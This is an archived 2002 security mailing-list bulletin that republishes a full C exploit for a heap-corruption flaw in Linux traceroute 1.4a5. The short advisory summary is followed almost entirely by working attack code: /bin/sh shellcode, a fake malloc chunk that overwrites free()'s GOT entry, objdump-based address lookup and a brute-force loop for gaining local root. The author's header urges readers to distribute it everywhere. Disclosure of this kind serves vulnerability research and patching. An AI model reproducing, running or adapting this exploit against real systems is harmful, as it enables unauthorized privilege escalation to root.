[EXPL] Linux Traceroute Exploit Code Released (GDB)
From: support@securiteam.comDate: 10/15/02
- Previous message: support@securiteam.com: "[NT] Long URL Crashes My Web Server"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
From: support@securiteam.com To: list@securiteam.com Date: 15 Oct 2002 04:00:59 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -
Linux Traceroute Exploit Code Released (GDB)
------------------------------------------------------------------------
SUMMARY
As we reported in our previous article:
<http://www.securiteam.com/unixfocus/6M00O0K06C.html> Traceroute flaw may
lead to root compromise, a vulnerability in traceroute allows attackers to
gain arbitrary code, leading to gaining of elevated privileges. The
following exploit code is not new, but provides insight on how to exploit
malloc related problems.
DETAILS
The following Linux traceroute (version 1.4a5 and below) local root
exploit takes advantage of a malloc chunk vulnerability and uses gdb to
find the correct offset.
Exploit:
/*
* exploit for traceroute 1.4a5 by sorbo (sorbox@yahoo.com)
*
* WARNING: NOT PRIVATE!!! DISTRIBUTE EVERYWHERE ;D
*
* Advisory: Chris Evans
*
* Vulnerability class: malloc chunks
*
*
* The problem is in the implementation of freehostinfo(). To be exact,
free(hi->name); is the problem.
* hi->hname is allocated via savestr() from gethostinfo().
*
* savestr() is a clone of strdup but uses less mallocs. It allocates one
chunk and returns pointers withing that chunk.
* The problem is that freehostinfo assumes savestr acts as strdup, so it
free()'s all pointers. Only one pointer will
* actually be malloc()ed (the first host), the others will just be
pointers in that heap area. Thus, when these other
* pointers are free()ed, the application will segfault (because of an
invalid malloc chunk... since there never was one).
*
* ie: traceroute -g 1 -g 2 will segfault.
*
* This because only space for 1 is malloced, whereas 2 has "allocated
space" within the space of 1 (which is allocated with
* 1024 bytes and not only 17 or something).
*
* The idea is to create a valid memory chunk for the second host and
another free memory chunk (so consolidation may occur)
* thus overwriting memory (free's GOT) to point to our shellcode (in argv
or something).
*
*
* This is the memory initially (in bytes):
*
* [ hostinfo: 16] [ STRPTR: 1032 ] [ADDR 16 ]
*
* After the first round of free's:
* [ hostinfo: 16] [ ADDR2 16 ]
*
* notice that we have control over the STRPTR area and there is an
aditional pointer which will be free()d now that
* lies in the STRPTR area (which is now "free").
*
* we need to create a fake chunk (one that seems allocated) for that
second pointer (which is our second ip).
* This is how the "strptr" area looks like before the free
* [IP1:x ] [0] [IP2:x] [0]
* [ADDR2:16]
*
* We are interested in the 4 bytes before IP2 (size field of memory
chunk).
* MSB will be 0.
* ADDR will overwrite IP1 (exactly 4 bytes and then pad with 0's).
* if we choose IP1 of length 7 (including null byte, eg:1.2.34), this
will be structure of STRPTR:
*
* [IP1:6] [0] [IP2:x] [0]
* [ADDR2:4][0:12]
*
* The 8 bytes before IP2 (the chunk header) will be:
* [HI:1] [ADDR2:4] [0:3]
*
* This means that size will be determined by the last byte of the second
ip.
*
* ADDR2 is allocated 16 bytes, thus
* We can set this to 16 (minimum chunk size) eg:1.2.3.17 (17 because we
want PREV_INUSE set).
*
* This means that 8 bytes from the start of the second addr, free will
expect another chunk header.
* that is EXACTLY after the ip address (we need to put a space here and
fortunately space is even ascii code)
* so the prev_size will be even. All we do is set an even prevsize, -4
size, free GOT addr - 12 in fd and argv[5] (shellcode)
* addr in bg
*
* and... root =D
*
*/
#include <stdio.h>
#include <unistd.h>
#include <sys/wait.h>
char shellcode[] =
/* jump around (effectivly like a "nop space" /2) */
"\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a"
"\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a"
/* NOPS */
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
/* the Aleph One shellcode */
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
#define TRACEROUTE "/usr/sbin/traceroute"
#define OBJDUMP "/usr/bin/objdump"
/* ojbdump traceroute | grep free */
unsigned int FREE = 0; /* free() GOT address */
/* ltrace traceroute (and u have a starting addr to start guessing from ;D
) */
unsigned int SHELLCODE = 0; /* argv[5] of traceroute */
char *env[] = { NULL };
void usage(char *m) {
printf("Usage: %s [options]\n",m);
printf("-h\t\t\tthis lame message\n");
printf("-f <addr>\t\tfree() GOT addr\n");
printf("-s <addr>\t\ttraceroute's argv[5] addr\n");
printf("-b\t\t\tbrute force argv[5] addr\n");
printf("-n\t\t\tdon't test vuln\n");
exit(0);
}
void bruteforce(char *arg[], unsigned int *addr) {
int pid;
int status;
printf("Starting brute force from %x incrememting 1 byte each
time\n",*addr);
printf("If it hangs... ur probably close ;D try skipping the value\n");
while(1) {
pid = fork();
if(pid < 0) {
perror("pid()");
exit(-1);
}
/* child */
if(pid == 0) {
execve(TRACEROUTE,arg,env);
perror("execve()");
exit(0);
}
/* parent */
else {
printf("Trying = %x\n",*addr);
wait(&status);
if(WIFEXITED(status) != 0)
break;
(*addr)++;
}
}
printf("Done...\n");
exit(0);
}
/* yes very lame n skript kiddie ;D */
unsigned int getGOT(char *symb) {
int pid;
int fd[2];
char buf[1024];
char *arg[] = { "/bin/sh", "-c", buf, NULL };
unsigned int addr = 0;
snprintf(buf,1024,"%s -R %s | grep %s",OBJDUMP,TRACEROUTE,symb);
printf("Attempting to fetch free() addr (make sure u got objdump)\n");
if(pipe(fd) <0) {
perror("pipe()");
exit(0);
}
pid = fork();
if(pid < 0) {
perror("fork()");
exit(0);
}
/* child */
if(pid == 0) {
dup2(fd[1],1);
dup2(fd[1],2);
close(fd[0]);
close(fd[1]);
execve("/bin/sh",arg,env);
perror("execve()");
exit(0);
}
/* parent */
else {
int rd;
close(fd[1]);
rd = read(fd[0],buf,1024);
if(rd < 1) {
perror("read()");
exit(0);
}
buf[rd] = 0;
sscanf(buf,"%x",&addr);
wait(NULL);
}
printf("Adress %x... does it sound good !?!?! ;D\n",addr);
return addr;
}
void checkVuln() {
int pid;
char *arg[] = { TRACEROUTE, "-g", "1","-g","1",NULL };
pid = fork();
if(pid < 0) {
perror("fork()");
exit(0);
}
/* child */
if(pid == 0) {
execve(TRACEROUTE,arg,env);
perror("execve()");
exit(0);
}
/* parent */
else {
int status;
printf("Checking vuln...\n");
wait(&status);
if(WIFEXITED(status) != 0) {
printf("NOT VULN!! override with -n\n");
exit(0);
}
}
printf("VULN!\n");
}
int main(int argc, char **argv) {
unsigned char egg[1024]; /* hope we don't overflow it ;D no bounds
check!!! */
unsigned int *ptr;
int opt;
int checkvuln = 1;
int brute = 0;
char *arg[] = { "exploited", "-g","1.2.34","-g",egg,shellcode,NULL };
printf("Traceroute v1.4a5 exploit by sorbo (sorbox@yahoo.com)\n");
while( (opt = getopt(argc,argv,"f:s:hbn")) != -1) {
switch(opt) {
case 'f':
if(sscanf(optarg,"%x",&FREE) != 1) {
printf("Invalid free addr\n");
exit(-1);
}
break;
case 's':
if(sscanf(optarg,"%x",&SHELLCODE) != 1) {
printf("Invalid free addr\n");
exit(-1);
}
break;
case 'b':
brute = 1;
break;
case 'n':
checkvuln = 0;
break;
default:
case 'h':
usage(argv[0]);
}
}
if(checkvuln)
checkVuln();
/* ok all we need to construct is the second "ip" address */
strcpy(egg,"1.2.3."); /* start normal ;D */
/* SIZE OF FIRST CHUNK */
strcat(egg,"17"); /* 16 length... 17 so we set previnuse (we don't want
to consolidate backwards */
/* PREVSIZE OF FREE CHUNK */
strcat(egg," "); /* by putting a space inet_addr will not fail and we
can fill up with bull*** */
strcat(egg,"sex"); /* the space of before filled the LSB of the prevsize
which we want even.. don't
* care about rest
*/
/* SIZE OF FREE CHUNK */
ptr = (unsigned int*)(egg+strlen(egg));
*ptr = -4; /* -4 so when it checks for is PREV_INUSE set for the "next"
chunk it will actually check
* our freechunk's prev_inuse
*/
ptr++;
/* FD OF FREE CHUNK */
if(FREE == 0)
FREE = getGOT("free");
*ptr = FREE-12;
ptr++;
/* BK OF FREE CHUNK */
if(SHELLCODE == 0)
SHELLCODE = 0xC0000000 - strlen(TRACEROUTE) - strlen(arg[5]) -6; /*
stack is argv[5] 0 traceroute 0 NULL */
*ptr = SHELLCODE;
ptr++;
*ptr = 0; /* the end */
printf("Lets ride...\n");
if(brute)
bruteforce(arg,ptr-1);
printf("Trying %x\n",SHELLCODE);
execve(TRACEROUTE,arg,env);
perror("execve()");
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:sorbox@yahoo.com> sorbo.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: support@securiteam.com: "[NT] Long URL Crashes My Web Server"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
- [EXPL] Exploit for CVS Double free() for Linux pserver
... or the last remaindered chunk cannot satisfy the ... char* ystrdup; ...
int authenticate; ... "\x51" // pushl %ecx ... (Securiteam) - Re: [PATCH 1/2] consolidate sys_ptrace
... -static int do_ptrace(int request, struct task_struct *child, long addr,
long data) ... -asmlinkage int sys_ptrace(long request, long pid, long addr, long data)
... (Linux-Kernel) - Re: seperator error in __mask_snprintf_len
... * int i; ... Hex digits are grouped into ... seperated by commas.
... Each chunk defines exactly 16 ... (Linux-Kernel) - Re: [PATCH 4/8] IA64 various hugepage size - modify HPAGE related macros
... vma = find_vma(mm, addr); ... int prepare_hugepage_range ...
#ifdef CONFIG_HUGETLB_PAGE ... (Linux-Kernel) - abort at the end of data transfer
... data chunk is i.e 6. ... int init_server{ ... int init_client(int
port, char *ip) { ... Protocol Info ... (comp.arch.embedded)